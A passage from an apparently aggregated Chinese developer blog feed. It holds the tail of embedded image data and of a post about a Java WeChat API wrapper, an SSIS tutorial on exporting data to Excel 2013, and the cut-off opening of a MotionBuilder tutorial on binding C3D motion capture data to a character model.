HNtRBZ9uajwiNpkImJicYMKzc3t6ioKPSUWJEYAoEAm4QsiSRWJAEBoPXGIsFCNCh/oIyPqZeNHp1EQv8UwDQeWw0PnxE+nw+CzhoiwLLIVUBWxh8JiEQSPC147BJpjvxtvGGg6w3d8zYrkbjLybS/TFiaCQkJD5+GR5KRJsXdtL2MTeaHAZFIgqcFrSGRg39EZ+4+cJIlf0yJ/Pzy/eM2KJHMzqZCoQCJTExMxPJnzOASCARtTSIN9qZxIo2NOeKpnocEkUiCpwVty4qEyRyvU6he3eYkEquDSCQKDg5WqVQRERFCoXDSpEm4u8qUSOZxG5RI9KA5CYqJE2xsUNXNzY1IJMF/Cm3LimSeb1MSyZz8BYnUaDQwrseUDKYsMg2uNiiRAoEgOTkZm8B8Pp+ZQmJFEhAA2pYVyQw8/VwbkkjmgCOsiEQI8fl8PJGNO92gINgKg59tTSK9vb3xeCIMILCSR6xIAgJAm7AiEbrfxcZT3jD9PehHFPwoplIfvkHiheJYJvh8fmBg4LJly5KTk1kTICA6ICVgabapRT9YryE77u7uJ06cYE3CECuSgADw5K1IvHaSux4opRIN/blNfF2zf/9+6GUDsP2IJz0SEhLwfA7XYASjrO1MBEOyWcINihkZGWliUSSerXrIpZFEIgmeFpBvtJ8mkIwQELQyiEQ+TSAZISBoZRCJfJpAMkJA0MogEvk0gWSEgKCV8eQlsqKioqKi4rHe4plpkCQjBAStjCcskTU1NSKRqKKioqam5vHd5ZlpkCQjBAStjCcpkTU1NRUVFXK5XC6XP1aVfGYaJMkIAUEr44lJJNZHhUKhUCgeq0o+Mw2SZISAoJXxZCSSpY+PWyWfmQZJMkJA0MqghK0OGHxk6SNTJUUiUeunioCAgIALSqpQERISEhIaJJFIQkJCQqMkEklISEholEQiCQkJCY2SSCQhISGhURKJJCQkJDRKIpGEhISERkkkkpCQkNAoiUQSEhISGiWRSEJCQkKjJBJJSEhIaJREIgkJCQmNkkgkISEhoVESiSQkJCQ0SiKRhISEhEbZhESe/O2UGwMeHh6iqpqw1WsEf9+WKlQNMsXqtWsra+pYV4klssmTJx86cpQbYYNMsWJl6IVLV+DA7UF4eHhwYyMkJCR8UmzaihRLZLN8fStr6vABKCNTK1ncszdmU+TmiRMncvUuLSOTJZ179sZcuHRFalxwCQkJCZ8UTUmkQUNv3vxPvLy9mWc2fr2JeVVaRmbgwoV1DdKTv51iqaFYItv57W6pQnXyt1MQBsuulKHFT7xQCAkJCYFNW5EFRcX/W7KUJWcNMoVBEzItIxN3lnGfGv93z94YZoea1R8XS2QrQ1fVNUifeKEQEhISAps9FpmT+w/LisQax9RHIIggUyWxtqZlZLq7u4PIpmVksqIiJCQkbAts2orEo4emrcg9e2Og78y6nGUqpmVkMhWTkJCQsC2zaYnE0ylMsiRyz94YEEHm+CMzzJ69MRu/3gRyiQ1GlolKZrQJCQnbGpuQSKaoubm5ubu7b4neytI1pvFoTCKBBUXFzGlu1nwOma4hJCRsa2x6LDLoiy9gzpopecama07+dgqbnMbCMAMTiSQkJGzLbEIiY+P4l69eM1MiWSeNSSTMa2/8ehORSEJCwjZOs6ZrmB1tExIJA474JzcMDD5iM5OMRRISErZxmiWRTVqRsASStYacdLQJCQmfdhI3FoSEhIRGSSSSkJCQ0CiJRBISEhIaJZFIQkJCQqMkEklISEholEQiCQkJCY2SSCQhISGhUTbP0w/ze20ArAM3Jwxr2aNYIps+YwZ31WRBUbGXt/fBQ4dZ3nzNX1XOXZHOAqzfZLlu43q3NJYdZmKwM03m3VnrQ3G+ICT3EpyAJr9NYvpsNxYP6/yevTF//HmRmzVM7ILEnGrALDR8I+bHBUyYqBLcB2pO+TCd0jM/dTVBfHdjXz0YW70L1bWsooqVeK67P6Yr/has6m3yQq6PwafFPz+urizn3FyXYAZbn8G8s75PaS7x88LLvZtk0xJprC5iz+FmhoHyMtZgLly6AtIGJcKqBA+zqrygqNjHZ8JXTz8AAAifSURBVCyrDXCTwfKmznWKznycrLbKlBgTX69DMIOekyCd0Vu3Gftpfp1jpQduZ6IAjb2rjN2aWbe422zE7IvlFnWTZWhO+TQpkfByNS3EZpaziWRwS+9xSyT3GTV5iTmvvUcVxgS51UNq3HM23q2AdR583xw9Hm/iNWx+UWMhNibKXJqSSJaOMFODK7Q5YSBBe/bGGBMdXB2NVbiHkUiDrx04ydxDwsPDA0wGZqmZYwGBJnIdIAHwh0mQHYMRQkrwT7B3mLawu7t7tuBvrImBCxdu/2YnlC3LeRJTOuHW2IqEkxcuXcG+340hYv0Gg7k2mC/m+8CgAWhmGZouH2ZpfH/wB2YYY1YGLhnmO7LJcsa++0y3Pa4rfmaNNVNeWXk3WFzMeAy+A9wMycQTl0hWx4L1ER1IZJP1kNtsjXXRzCznFStDWSkxxzhoworEz89EF8+cMOBJNy0jM3xdhMEGc/7CJaZZ9DAdbdajMnihsb4hq2qaaQGZkwysxazGAy8SpnkYtnrNzWwB802LTTMIZrCpQPwsEw/+hVs+t8KZ3wCMWVtMQqU31hU1UYZNlg/3EpAh5klznqk55YzvyLWImemHdwNXIpv1OmcNCoFPVZykk7+dgnaBX4fwCJi5NvgQzXmyjyqM6WqPL2cKokFr0WAhM0WNqdfGTE4TtdfL29ugSWtsr1bMpv1FwgNj1l2W/JkTBgoocOHCqlqxiQoEtfxhxhq45RL0xRd//HmR1fk12AVg1gwskSYsIGyycaPimvSQd9jdTMrp/7Ka7pborUylYEkk9+ngg5h9sYELF0IisZNj5vuGZeabb+ywJJKb97SMzE2Rm/+3ZGlySipTJZu0Is0pH+Ydt27f4eHhsSV6q+Dv2yyJxInhqhtEaGY5SxvVwaClA/UTAnAl0vxBLlw+EAOUMEsiIXmgDk+7ROI2xXwtsTq8XDsRugUGJxjML2cTbzup8R0TgE1IJM5kzL5Yg33JwIULk1PTmgxTI27A79jpM2bgZowBMfz0f79MnDgxPuGn+ISfuPE062nh9wPUM/jJLFMTo6ItqwfQnOByZt06+dup8HURrPEXVl/MYAcQB2BK5KbIzViquBLJPImNTWNWJLf945CsGunu7s4yuFh5hzfi7XwhnsBp1vRak+XDHKdmPlwQi7KKqlm+vt/s3MV9mkwYG9DgljNr+AKngVkDIcv4lY9lq1m9bKl5EonvaGZH+/FJpMFdUVkIXLhw1+49rDPbv9nJLRbIEbN+wgMyVmO5Tc/8ojY9qWiCTbvUZb4qmZWDNT/QZBhI0KbIzV8t/t/ykBVlFVU7v90NbQzHEP/jzzCNiK2Jlr3HmJ6HmPVsz94YZjPjtnlm/TZ/Zpw1PcIq99g4fllFFdYyGP6AG+G+A8u6wSNikBhouqALYG0ZFHdW1WT1zrjDIyzLmttDZBaRweEF3PHHo374FmBMmVOG5pSPlDNeif8bsy+WJd8mRMqccoZ2y5V4g/NyN7MFTIkEsW7WIAzzlWZMIqEwnzorklmjmA8FsoPfo8yBXXj6zFcUtsrh6eAq1+Swj0Ea1C7Tl5g1o81q8wZXujQZBpfO+g0buS+iQ0eOnjp9Blc4roln5otF2mhiYIOR9SrGoxjGrEhjNzLWgWKNwHp5e8N8AquziccimPO2uE4YbLq4JcTsi80W/L167drLV6+Z7mhLOdIP1TQn9x+WWWRwu0oTEik1JD1pGZkHDx3GCTb20JssQ3PKB94Bt/OFXt7eXAOcabMb1GLW6jRj5Sz4+zZoLlfpuM3p5G+nvj/4A1Mijx6Pb66mMN9hJjraFy5dMV8inzjxCwOaGMuK5A5zQf/a4OwQFAJz59SHkUjWrR+NRIKUMJsTtyWYEwYbugcPHYbiY1mRJ379jTtSaToP3DLlzuUbG3EztviANWyBdYFlqLMWM0HLZI5oMHfBhXslp6TiAMxomYMVXOOOeQbuZbCzg2OGe93OF+I6BPP18OKBLHNn94w9VmYRYYFjrog0573YZBk2WT5mDsxDLyEn9x+cDJYnU4MSyS1ng1MuBqui+Yt+jM0Os3oSXInEMZsvkeYsHnxUYQwScsFszgY9czPDQw+Ju16SNS3GlEhjy2OMKYbBfVub7Kqbtb0XjHPjDHCna5oMg3dAnD5jBhhEXIk0WDVNSGSTLntxDC2WSKbwGbSAYEFJ0BdfmE4G915NjkUyr2XWM3OsSPy6guN58z+BVS+QBTw9wh1YZJ1kGtr4QryjBk6z6UrWZBmaUz74zYcTyZwEx2ljmfPcwjSznB+5RBqrq6we5SHOwmEwHvGievMX/TxZicTl3OSQNHM4Eo6Zd8Tlg1PCkkhWtTGhCdzJazOXRpqSSO79cM6ZI0RNhmH+Cw+xM8fd3R5cZCOqqjE4JMxtwAY1jkUTEmm6o43nuYwN9G78ehPoqYkxbHiuLPONW3W41g1LnljBcAXiWm1YhlhmLC5nZr1nppz5/YnBROJ4ICRz5M5Y3s0pQ3PKhylPWD2ZliYed8Yxw7+YyYPxL3PKmSWX3O9zzJmyaLKuMjuPOH6uFYnzbrB32TY72mbWDW5BSR8UENwBZzUB/FBYCm5iXbrBx2dOB4V8o/3UkDljjitfG2wehITPEolEEhISEholkUhCQkJCoyQSSUhISGiURCIJCQkJjZJIJCEhIaFRNkMiDX64SkhISPgMswmJbIFPN0JCQsJnhqSjTUhISGiU5n6jzbUfW+bjlpCQkPApolkSafDbqadigyFCQkLChyGxIgkJCQmNkoxFEhISEhpl09t7GXNqYr6PW0JCQsKnlM2zIk04OiMkJCR89tiEv0hz/OLViBsgWHM3xiIkJCRs42y2FWnQUS5z7yFCQkLCZ4bmSiT+zIZrKmJjk1iRhISEzxjJjDYhISGhURKJJCQkJDRKIpGEhISERkkkkpCQkNAo/x9JbiSXFlrm3wAAAABJRU5ErkJggg==" alt="" /></p><p>&nbsp;</p><p>如果你觉得赞就给本博推荐下吧,希望能上精华,如果你是大神那就别搭理本博了</p><div style="color: #000000; font-family: Tahoma; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: normal; orphans: 2; text-align: -webkit-auto; text-indent: 0px; text-transform: none; white-space: normal; widows: 2; word-spacing: 0px; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px; font-size: medium;"><p><span style="font-family: courier new,courier;">本文只是自我的一个总结,如果对你有所帮助是我的荣幸,文章不妥之处希望指正,大神勿喷</span><span style="font-family: courier new,courier;"><span style="line-height: 26px; font-size: 16px;">,</span><span style="line-height: 26px; font-size: 16px;">请通过留言或关注微信公众帐号codenewbie</span><span style="line-height: 26px; font-size: 16px;">来</span><span style="line-height: 26px; font-size: 16px;">支持小八哥!</span><span style="font-size: 16px;">若有不妥之处,欢迎指点。</span></span></p><div style="color: #000000; font-family: Tahoma; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: normal; orphans: 2; text-align: -webkit-auto; text-indent: 0px; text-transform: none; white-space: normal; widows: 2; word-spacing: 0px; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px; font-size: medium;"><p><img src="http://images.cnitblog.com/blog/461466/201310/08170313-d7df4f65dba547d8aa8a56f890343eff.jpg" alt="" width="198" height="198" /></p><p style="font-size: 16px;"><span style="font-family: courier new,courier;">转帖请注明本文出自小八哥的博客(http://www.cnblogs.com/Codenewbie),请尊重他人的辛勤劳动成果,谢谢!</span></p></div></div><img src="http://counter.cnblogs.com/blog/rss/3674331" width="1" height="1" alt=""/><br/><p>本文链接:<a href="http://www.cnblogs.com/Codenewbie/p/3674331.html" target="_blank">Java微信公众平台接口封装源码分享</a>,转载请注明。</p>http://www.cnblogs.com/biwork/p/3674321.htmlSSIS 系列 - 导出数据到 Excel 2013 的实现 - BIWORK碰到有几个朋友问到这个问题,比较共性,就特意写了这篇小文章说明一下如何实现在 SSIS 中导出数据到 Office Excel 2013 中。通常情况下 2013 以前的版本大多没有问题,但是到 2013 就可能在建立连接管理器的时候出现链接失败。建议在看这一篇文章之前,如果有导出数据到 Excel...2014-04-18T15:26:00Z2014-04-18T15:26:00ZBIWORKhttp://www.cnblogs.com/biwork/<p style="font: 12px/normal 微软雅黑; margin: 5px 0px; color: #000000; text-transform: none; text-indent: 0px; letter-spacing: normal; word-spacing: 0px; white-space: normal; font-size-adjust: none; font-stretch: normal; -webkit-text-stroke-width: 0px;"><span style="font-family: Microsoft Yahei;">碰到有几个朋友问到这个问题,比较共性,就特意写了这篇小文章说明一下如何实现在 SSIS 中导出数据到 Office Excel 2013 中。通常情况下 2013 以前的版本大多没有问题,但是到 2013 就可能在建立连接管理器的时候出现链接失败。</span></p><p style="font: 12px/normal 微软雅黑; margin: 5px 0px; color: #000000; text-transform: none; text-indent: 0px; letter-spacing: normal; word-spacing: 0px; white-space: normal; font-size-adjust: none; font-stretch: normal; -webkit-text-stroke-width: 0px;"><span style="font-family: Microsoft Yahei;">建议在看这一篇文章之前,如果有导出数据到 Excel 2013 的需求,请先参看我的另外一篇文章 -<span class="Apple-converted-space">&nbsp;</span><a style="cursor: pointer;" href="http://www.cnblogs.com/biwork/p/3478778.html">SSIS 系列 - 通过 OLE DB 连接访问 Excel 2013 以及对不同 Sheet 页的数据处理</a>&nbsp;, 先按照这篇文章实际做一遍,安装所需要的驱动,等成功实现了,那么这里的数据导出就非常的简单。</span></p><p style="font: 12px/normal 微软雅黑; margin: 5px 0px; color: #000000; text-transform: none; text-indent: 0px; letter-spacing: normal; word-spacing: 0px; white-space: normal; font-size-adjust: none; font-stretch: normal; -webkit-text-stroke-width: 0px;"><span style="font-family: Microsoft Yahei;">假设你已经按照上面这篇文章安装好了驱动,并能成功加载数据到数据库中,那么下面将介绍如何在 SSIS 中将数据导出到 Office Excel 2013 中。</span></p><p style="font: 12px/normal 微软雅黑; margin: 5px 0px; color: #000000; text-transform: none; text-indent: 0px; letter-spacing: normal; word-spacing: 0px; white-space: normal; font-size-adjust: none; font-stretch: normal; -webkit-text-stroke-width: 0px;"><span style="font-family: Microsoft Yahei;">只有这个驱动安装好了,下面在连接到 Excel 2013 文件的时候才不会出现报错信息。</span></p><p style="font: 12px/normal 微软雅黑; margin: 5px 0px; color: #000000; text-transform: none; text-indent: 0px; letter-spacing: normal; word-spacing: 0px; white-space: normal; font-size-adjust: none; font-stretch: normal; -webkit-text-stroke-width: 0px;"><span style="font-family: Microsoft Yahei;">我的测试数据源,大概有1W8K 多行数据。</span></p><p style="font: 12px/normal 微软雅黑; margin: 5px 0px; color: #000000; text-transform: none; text-indent: 0px; letter-spacing: normal; word-spacing: 0px; white-space: normal; font-size-adjust: none; font-stretch: normal; -webkit-text-stroke-width: 0px;"><span style="font-family: Microsoft Yahei;"><img style="display: inline-block; cursor: default;" src="http://images.cnitblog.com/i/477275/201404/182307058076130.png" alt="" data-inited="true" data-media-type="image" /></span></p><p style="font: 12px/normal 微软雅黑; margin: 5px 0px; color: #000000; text-transform: none; text-indent: 0px; letter-spacing: normal; word-spacing: 0px; white-space: normal; font-size-adjust: none; font-stretch: normal; -webkit-text-stroke-width: 0px;"><span style="font-family: Microsoft Yahei;">先建好这个 Excel 文件,并且最好指定好 Sheet 页的名称 Customer;在第一行的位置指定好列标题,即需要被导出的列名称。其实这个很好理解,之所以这么提前创建好,是因为它具备一定的格式,像一个小数据库表一样有行和列的概念。</span></p><p style="font: 12px/normal 微软雅黑; margin: 5px 0px; color: #000000; text-transform: none; text-indent: 0px; letter-spacing: normal; word-spacing: 0px; white-space: normal; font-size-adjust: none; font-stretch: normal; -webkit-text-stroke-width: 0px;"><span style="font-family: Microsoft Yahei;"><img style="display: inline-block; cursor: default;" src="http://images.cnitblog.com/i/477275/201404/182307301352198.png" alt="" data-inited="true" data-media-type="image" /></span></p><p style="font: 12px/normal 微软雅黑; margin: 5px 0px; color: #000000; text-transform: none; text-indent: 0px; letter-spacing: normal; word-spacing: 0px; white-space: normal; font-size-adjust: none; font-stretch: normal; -webkit-text-stroke-width: 0px;"><span style="font-family: Microsoft Yahei;">数据源的连接就不再提了,选择好 Excel Destination。</span></p><p style="font: 12px/normal 微软雅黑; margin: 5px 0px; color: #000000; text-transform: none; text-indent: 0px; letter-spacing: normal; word-spacing: 0px; white-space: normal; font-size-adjust: none; font-stretch: normal; -webkit-text-stroke-width: 0px;"><span style="font-family: Microsoft Yahei;"><img style="display: inline-block; cursor: default;" src="http://images.cnitblog.com/i/477275/201404/182310130414162.png" alt="" data-inited="true" data-media-type="image" /></span></p><p style="font: 12px/normal 微软雅黑; margin: 5px 0px; color: #000000; text-transform: none; text-indent: 0px; letter-spacing: normal; word-spacing: 0px; white-space: normal; font-size-adjust: none; font-stretch: normal; -webkit-text-stroke-width: 0px;"><span style="font-family: Microsoft Yahei;">在 Excel Connection Manager 处选择新建一个链接管理器,选择好目标 Excel 并勾选中第一行是列标题。</span></p><p style="font: 12px/normal 微软雅黑; margin: 5px 0px; color: #000000; text-transform: none; text-indent: 0px; letter-spacing: normal; word-spacing: 0px; white-space: normal; font-size-adjust: none; font-stretch: normal; -webkit-text-stroke-width: 0px;"><span style="font-family: Microsoft Yahei;"><img style="display: inline-block; cursor: default;" src="http://images.cnitblog.com/i/477275/201404/182310440881810.png" alt="" data-inited="true" data-media-type="image" /></span></p><p style="font: 12px/normal 微软雅黑; margin: 5px 0px; color: #000000; text-transform: none; text-indent: 0px; letter-spacing: normal; word-spacing: 0px; white-space: normal; font-size-adjust: none; font-stretch: normal; -webkit-text-stroke-width: 0px;"><span style="font-family: Microsoft Yahei;">这时就能看到刚才创建好的 Sheet 列名称了。</span></p><p style="font: 12px/normal 微软雅黑; margin: 5px 0px; color: #000000; text-transform: none; text-indent: 0px; letter-spacing: normal; word-spacing: 0px; white-space: normal; font-size-adjust: none; font-stretch: normal; -webkit-text-stroke-width: 0px;"><span style="font-family: Microsoft Yahei;"><img style="display: inline-block; cursor: default;" src="http://images.cnitblog.com/i/477275/201404/182311474008933.png" alt="" data-inited="true" data-media-type="image" /></span></p><p style="font: 12px/normal 微软雅黑; margin: 5px 0px; color: #000000; text-transform: none; text-indent: 0px; letter-spacing: normal; word-spacing: 0px; white-space: normal; font-size-adjust: none; font-stretch: normal; -webkit-text-stroke-width: 0px;"><span style="font-family: Microsoft Yahei;">然后是列的 Mapping 关系,这样就类似于数据源对数据源,表对表,列对列就全部建立好对应关系了。</span></p><p style="font: 12px/normal 微软雅黑; margin: 5px 0px; color: #000000; text-transform: none; text-indent: 0px; letter-spacing: normal; word-spacing: 0px; white-space: normal; font-size-adjust: none; font-stretch: normal; -webkit-text-stroke-width: 0px;"><span style="font-family: Microsoft Yahei;"><img style="display: inline-block; cursor: default;" src="http://images.cnitblog.com/i/477275/201404/182313170416482.png" alt="" data-inited="true" data-media-type="image" /></span></p><p style="font: 12px/normal 微软雅黑; margin: 5px 0px; color: #000000; text-transform: none; text-indent: 0px; letter-spacing: normal; word-spacing: 0px; white-space: normal; font-size-adjust: none; font-stretch: normal; -webkit-text-stroke-width: 0px;"><span style="font-family: Microsoft Yahei;">保存并执行包,有 18484 条数据导出了。</span></p><p style="font: 12px/normal 微软雅黑; margin: 5px 0px; color: #000000; text-transform: none; text-indent: 0px; letter-spacing: normal; word-spacing: 0px; white-space: normal; font-size-adjust: none; font-stretch: normal; -webkit-text-stroke-width: 0px;"><span style="font-family: Microsoft Yahei;"><img style="display: inline-block; cursor: default;" src="http://images.cnitblog.com/i/477275/201404/182314241827904.png" alt="" data-inited="true" data-media-type="image" /></span></p><p style="font: 12px/normal 微软雅黑; margin: 5px 0px; color: #000000; text-transform: none; text-indent: 0px; letter-spacing: normal; word-spacing: 0px; white-space: normal; font-size-adjust: none; font-stretch: normal; -webkit-text-stroke-width: 0px;"><span style="font-family: Microsoft Yahei;">包执行的同时,Excel 的数据就已经在自动增长了,检查一下条数也是正确的。</span></p><p style="font: 12px/normal 微软雅黑; margin: 5px 0px; color: #000000; text-transform: none; text-indent: 0px; letter-spacing: normal; word-spacing: 0px; white-space: normal; font-size-adjust: none; font-stretch: normal; -webkit-text-stroke-width: 0px;"><span style="font-family: Microsoft Yahei;"><img style="display: inline-block; cursor: default;" src="http://images.cnitblog.com/i/477275/201404/182314298074685.png" alt="" data-inited="true" data-media-type="image" /></span></p><p style="font: 12px/normal 微软雅黑; margin: 5px 0px; color: #000000; text-transform: none; text-indent: 0px; letter-spacing: normal; word-spacing: 0px; white-space: normal; font-size-adjust: none; font-stretch: normal; -webkit-text-stroke-width: 0px;"><span style="font-family: Microsoft Yahei;">所以如果是连接的问题,可以认真参照这一篇文章 -<span class="Apple-converted-space">&nbsp;</span><a style="cursor: pointer;" href="http://www.cnblogs.com/biwork/p/3478778.html">SSIS 系列 - 通过 OLE DB 连接访问 Excel 2013 以及对不同 Sheet 页的数据处理</a>&nbsp;安装好驱动,以及要注意安装的是32位版本。</span></p><p style="font: 12px/normal 微软雅黑; margin: 5px 0px; color: #000000; text-transform: none; text-indent: 0px; letter-spacing: normal; word-spacing: 0px; white-space: normal; font-size-adjust: none; font-stretch: normal; -webkit-text-stroke-width: 0px;"><span style="font-family: Microsoft Yahei;">另外一个问题,可能有人在问可不可以在导出的时候创建这个文件,Excel 不需要实现存在,这个能不能实现? 包括自动创建 Sheet 名称以及列名称。</span></p><p style="font: 12px/normal 微软雅黑; margin: 5px 0px; color: #000000; text-transform: none; text-indent: 0px; letter-spacing: normal; word-spacing: 0px; white-space: normal; font-size-adjust: none; font-stretch: normal; -webkit-text-stroke-width: 0px;"><span style="font-family: Microsoft Yahei;">我没有实际操作过,因为从安装驱动的时候就可以看出它实际上给出的驱动是关于 Access 的驱动,也就是说这里的 Excel 相当于一个小型的数据库,Sheet 就是表。我们的数据导入导出都需要从数据源到数据源的对应,表对表的对应,列到列的对应,因此这些文件以及表名应该事先定义好。</span></p><p style="font: 12px/normal 微软雅黑; margin: 5px 0px; color: #000000; text-transform: none; text-indent: 0px; letter-spacing: normal; word-spacing: 0px; white-space: normal; font-size-adjust: none; font-stretch: normal; -webkit-text-stroke-width: 0px;"><span style="font-family: Microsoft Yahei;">可不可以动态创建 Excel,然后再导出数据 -&nbsp;可以。</span></p><p style="font: 12px/normal 微软雅黑; margin: 5px 0px; color: #000000; text-transform: none; text-indent: 0px; letter-spacing: normal; word-spacing: 0px; white-space: normal; font-size-adjust: none; font-stretch: normal; -webkit-text-stroke-width: 0px;"><span style="font-family: Microsoft Yahei;">我第一个 BI 项目中就是先通过 Script Task C#脚本创建好 Excel&nbsp;文件,包括 Sheet 名和列名,然后再导出数据到 Excel 文件中去的。Excel 文件名称是按时间+表名命名的,每天都导出一个,所以在程序中创建,就不用手工创建了。</span></p><hr style="font: 12px/normal 微软雅黑; color: #000000; text-transform: none; text-indent: 0px; letter-spacing: normal; word-spacing: 0px; white-space: normal; font-size-adjust: none; font-stretch: normal; -webkit-text-stroke-width: 0px;" /><p style="font: 13px/normal Consolas; color: #000000; text-transform: none; text-indent: 0px; letter-spacing: normal; word-spacing: 0px; white-space: normal; orphans: 2; widows: 2; font-size-adjust: none; font-stretch: normal; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px;"><span><span style="font-family: Microsoft Yahei;">更多 BI 文章请参看&nbsp;<a style="cursor: pointer;" href="http://www.cnblogs.com/biwork/p/3328879.html">BI 系列随笔列表 (SSIS, SSRS, SSAS, MDX, SQL Server)</a></span></span></p><p style="font: 13px/normal Consolas; color: #000000; text-transform: none; text-indent: 0px; letter-spacing: normal; word-spacing: 0px; white-space: normal; orphans: 2; widows: 2; font-size-adjust: none; font-stretch: normal; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px;"><span style="color: #008000; font-size: 16px; background-color: #ffffff;"><strong><span><span><span style="font-family: Microsoft Yahei;">如果觉得这篇文章看了对您有帮助,请帮助<span style="color: #000080; background-color: #ff9900;">推荐</span>,以方便他人在 BIWORK 博客推荐栏中快速看到这些文章。</span></span></span></strong></span></p><hr style="font: 12px/normal 微软雅黑; color: #000000; text-transform: none; text-indent: 0px; letter-spacing: normal; word-spacing: 0px; white-space: normal; font-size-adjust: none; font-stretch: normal; -webkit-text-stroke-width: 0px;" /><img src="http://counter.cnblogs.com/blog/rss/3674321" width="1" height="1" alt=""/><br/><p>本文链接:<a href="http://www.cnblogs.com/biwork/p/3674321.html" target="_blank">SSIS 系列 - 导出数据到 Excel 2013 的实现</a>,转载请注明。</p>http://www.cnblogs.com/mayswind/p/3672764.html在MotionBuilder中绑定C3D动作和模型 - 大魔王mAysWINd实验室人手不足,虽然自己连MotionBuilder一点都没有用过,但是老板叫自己干也只能硬着头皮上了。本文详细介绍了MotionBuilder 2013中的摄像机操作以及在MotionBuilder中导入C3D动作文件,并最终与指定人物模型绑定。2014-04-18T14:57:00Z2014-04-18T14:57:00Z大魔王mAysWINdhttp://www.cnblogs.com/mayswind/<p><strong>【题外话】</strong></p><p>实验室人手不足,虽然自己连MotionBuilder一点都没有用过,但是老板叫自己干也只能硬着头皮上了。本文详细介绍了MotionBuilder 2013中的摄像机操作以及在MotionBuilder中导入C3D动作文件,并最终与指定人物模型绑定。</p><!--之前做这块的师姐要快要毕业了,其他人也不懂,不过还好,等师弟师妹来了就可以再坑他们去了。--><p>&nbsp;</p><p><strong>【文章索引】</strong></p><ol><li><a href="#para1">动作文件的导入</a></li><li><a href="#para2">界面控制</a></li><li><a href="#para3">绑定动作到Actor</a></li><li><a href="#para4">角色化模型</a></li><li><a href="#para5">绑定模型与Actor</a></li></ol><p>&nbsp;</p><p><strong><a name="para1"></a>【一、动作文件的导入】</strong></p><p>打开MotionBuilder以后,选择 File 菜单,然后选择 Motion File Import。MotionBuilder支持导入.fbx .bvh .htr .trc .asf .amc .c3d等多种格式的运动文件,不过需要注意的是,运动文件所在路径不能含有中文名,如果含有中文名程序直接崩溃退出,不过有意思的是,MotionBuilder的打开和保存功能并没有这个问题。</p><p>选择文件后会出现如下的对话框,motion.c3d即为导入的文件。</p><p><img style="display: block; margin-left: auto; margin-right: auto;" src="http://images.cnitblog.com/i/495906/201404/181015549634200.png" alt="" /></p><p>由于C3D文件的头部记录了第一帧的序号,所以这里实际的第一帧的序号为126,虽然在MotionBuilder或其他软件中做动画并不会出现问题,但是如果编写程序调用该动作时可能会有些问题,建议双击开始时间修改为0,修改完开始时间结束时间会自动修改。</p><p><img style="display: block; margin-left: auto; margin-right: auto;" src="http://images.cnitblog.com/i/495906/201404/181016041826350.png" alt="" /></p><p>点击 Import 后,在MotionBuilder中即会出现导入的动作捕捉点。</p><p>&nbsp;</p><p><a name="para2"></a><strong>【二、界面控制】</strong></p><p>在界面的左上角可以在&nbsp;View 菜单中控制与显示有关的设置,比如:</p><ul><li>选择 Viewer Layout 可以设置同时显示几个显示面板。</li><li>选择 Perspective -&gt; Producer Perspective 可以使用透视相机。</li><li>选择 Orthographic -&gt; Producer Front / Back / Right / Left / Top / Bottom 可以使用不同的正交相机,快捷键分别是切换到前后为Ctrl+F,右左为Ctrl+R,上下为Ctrl+T。</li><li>选择 Default Camera View 或按快捷键Alt+Home可以复位为该摄像机的默认设置。</li></ul><p>在界面上方的五个按钮<img src="http://images.cnitblog.com/i/495906/201404/181023302283846.png" alt="" />是用来调整摄像机的,都是将鼠标按在指定按钮上然后用鼠标拖动实现调整的。</p><ol><li><img style="line-height: 1.5;" src="http://images.cnitblog.com/i/495906/201404/181032028224579.png" alt="" /><span style="line-height: 1.5;">&nbsp;Orbit (L) | Pan / Tilt (R)</span><ul><li><span style="line-height: 1.5;">鼠标左键 左右拖动为沿水平轨道调整摄像机位置,上下拖动为沿垂直轨道调整摄像机位置。</span></li><li><span style="line-height: 1.5;">鼠标右键&nbsp;左右拖动为调整摄像机转动角度(Pan),上下拖动为调整摄像机倾斜角度(Tilt)。</span></li><li><span style="line-height: 1.5;">除此之外&nbsp;按住Shift+Ctrl键拖动鼠标也可实现同样功能。</span></li></ul></li><li><img style="line-height: 1.5;" src="http://images.cnitblog.com/i/495906/201404/181032086353304.png" alt="" /><span style="line-height: 1.5;">&nbsp;Travelling with Interest (L) | Travelling (R)</span><ul><li><span style="line-height: 1.5;">鼠标左键 上下左右四个方向拖动即为调整摄像机的位置。</span></li><li><span style="line-height: 1.5;">除此之外 按住Shift键拖动鼠标也可实现同样功能。</span></li></ul></li><li><img style="line-height: 1.5;" src="http://images.cnitblog.com/i/495906/201404/181032156976612.png" alt="" /><span style="line-height: 1.5;">&nbsp;Dolly (L) | Dolly with Interest (R)</span><ul><li><span style="line-height: 1.5;">鼠标左键 上下(或左右)拖动为推拉摄像机。</span></li><li><span style="line-height: 1.5;">除此之外 按住Ctrl键拖动鼠标或使用鼠标滚轮也可实现同样功能。</span></li></ul></li><li><img style="line-height: 1.5;" src="http://images.cnitblog.com/i/495906/201404/181032245573807.png" alt="" /><span style="line-height: 1.5;">&nbsp;Zoom (L)</span><ul><li><span style="line-height: 1.5;">鼠标左键 上下(或左右)拖动为调整摄像机视野(Field Of View)角度。</span></li></ul></li><li><img style="line-height: 1.5;" src="http://images.cnitblog.com/i/495906/201404/181032330882100.png" alt="" /><span style="line-height: 1.5;">&nbsp;Rool (L) | Roll +15 deg (R)</span><ul><li><span style="line-height: 1.5;">鼠标左键 左右拖动为左右转动摄像机(Roll)</span><span style="line-height: 1.5;">。</span></li><li><span style="line-height: 1.5;">鼠标右键 左右拖动为每次左右转动摄像机(Roll)15度。</span></li></ul></li></ol><p>除此之外,还可以在 Navigator 中选择 Cameras,然后选择 Producer Perspective,同样可以进行摄像机的相关设置。</p><p><img style="display: block; margin-left: auto; margin-right: auto;" src="http://images.cnitblog.com/i/495906/201404/181050599007561.png" alt="" /></p><p>&nbsp;</p><p><a name="para3"></a><strong>【三、绑定动作到Actor】</strong></p><p>要实现动作与模型的绑定,首先需要将动作绑定到 Actor 上,首先在界面右侧的 Character Controls 面板中选择 Create 里的 Actor。</p><p><img style="display: block; margin-left: auto; margin-right: auto;" src="http://images.cnitblog.com/i/495906/201404/181135511033717.png" alt="" /></p><p>然后界面中将会出现一个人物模型,如下图所示,由于动作捕捉点与 Actor 